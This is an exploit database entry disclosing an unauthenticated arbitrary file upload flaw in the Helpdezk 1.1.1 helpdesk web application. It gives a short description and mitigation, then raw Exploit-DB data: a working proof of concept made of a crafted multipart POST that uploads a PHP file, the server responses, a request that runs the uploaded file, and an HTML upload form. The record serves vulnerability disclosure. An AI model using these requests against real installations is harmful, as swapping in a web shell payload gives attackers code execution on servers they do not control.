Helpdezk 1.1.1 - Arbitrary File Upload

vendor:

Helpdezk

by:

Ihsan Sencan

7.5

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: Helpdezk

Affected Version From: 1.1.1

Affected Version To: 1.1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:helpdezk:helpdezk:1.1.1

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

Helpdezk 1.1.1 – Arbitrary File Upload

Helpdezk 1.1.1 is vulnerable to arbitrary file upload. An attacker can upload a malicious file to the server by sending a specially crafted HTTP request. This vulnerability exists in more than one file, including upload.php, upload2.php, upload3.php, upload_dsh_image.php, upload_file.php, upload_icon.php, manage_attachments.php, manage_icons.php, and upload_file_knowledgebase.php. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with a malicious file attached.

Mitigation:

Restrict access to the upload directory and ensure that only authorized users can upload files. Also, validate the file type and size before uploading.

Source

Exploit-DB raw data:

# Exploit Title: Helpdezk 1.1.1 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-11-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.helpdezk.org/
# Software Link: https://netcologne.dl.sourceforge.net/project/helpdezk/helpdezk-1.1.1.zip
# Version: 1.1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/helpdezk/manageattachments/
# 

# Vulnerability found in more than one file.
##Log S1##
//PATH//app//modules//admin//views//upload.php
//PATH//app//modules//admin//views//upload2.php
//PATH//app//modules//admin//views//upload3.php
//PATH//app//modules//admin//views//upload_dsh_image.php
//PATH//app//modules//admin//views//upload_file.php
//PATH//app//modules//admin//views//upload_icon.php
//PATH//app//modules//helpdezk//views//manage_attachments.php
//PATH//app//modules//helpdezk//views//manage_icons.php
//PATH//app//modules//helpdezk//views//upload_file_knowledgebase.php

POST /[PATH]/helpdezk/manageattachments/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
---------------------------1293691802011755498543585049
Content-Length: 374
-----------------------------1293691802011755498543585049
Content-Disposition: form-data; name="file"; filename="phpinfo.php"
Content-Type: application/force-download
<?php
phpinfo();
?>
-----------------------------1293691802011755498543585049
Content-Disposition: form-data; name="Submit"
Ver Ayari
-----------------------------1293691802011755498543585049--
HTTP/1.1 200 OK
Date: Tue, 13 Nov 2018 19:10:01 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=0qlddpbl1nbpmcaegppm73brg1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2771
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

#
GET /[PATH]/app/uploads/helpdezk/attachments/4.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=0qlddpbl1nbpmcaegppm73brg1
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 13 Nov 2018 19:10:29 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/helpdezk/manageattachments/
# 
# http://localhost/[PATH]/app/uploads/helpdezk/attachments/[NUMBER].php
# 
<html>
<body>
<form action="http://localhost/[PATH]/helpdezk/manageattachments/" method="post" enctype="multipart/form-data" name="formAt">    
<input name="file" type="file">    
<input type="submit" name="Submit" value="Ver Ayari">
</form>
</body>
</html>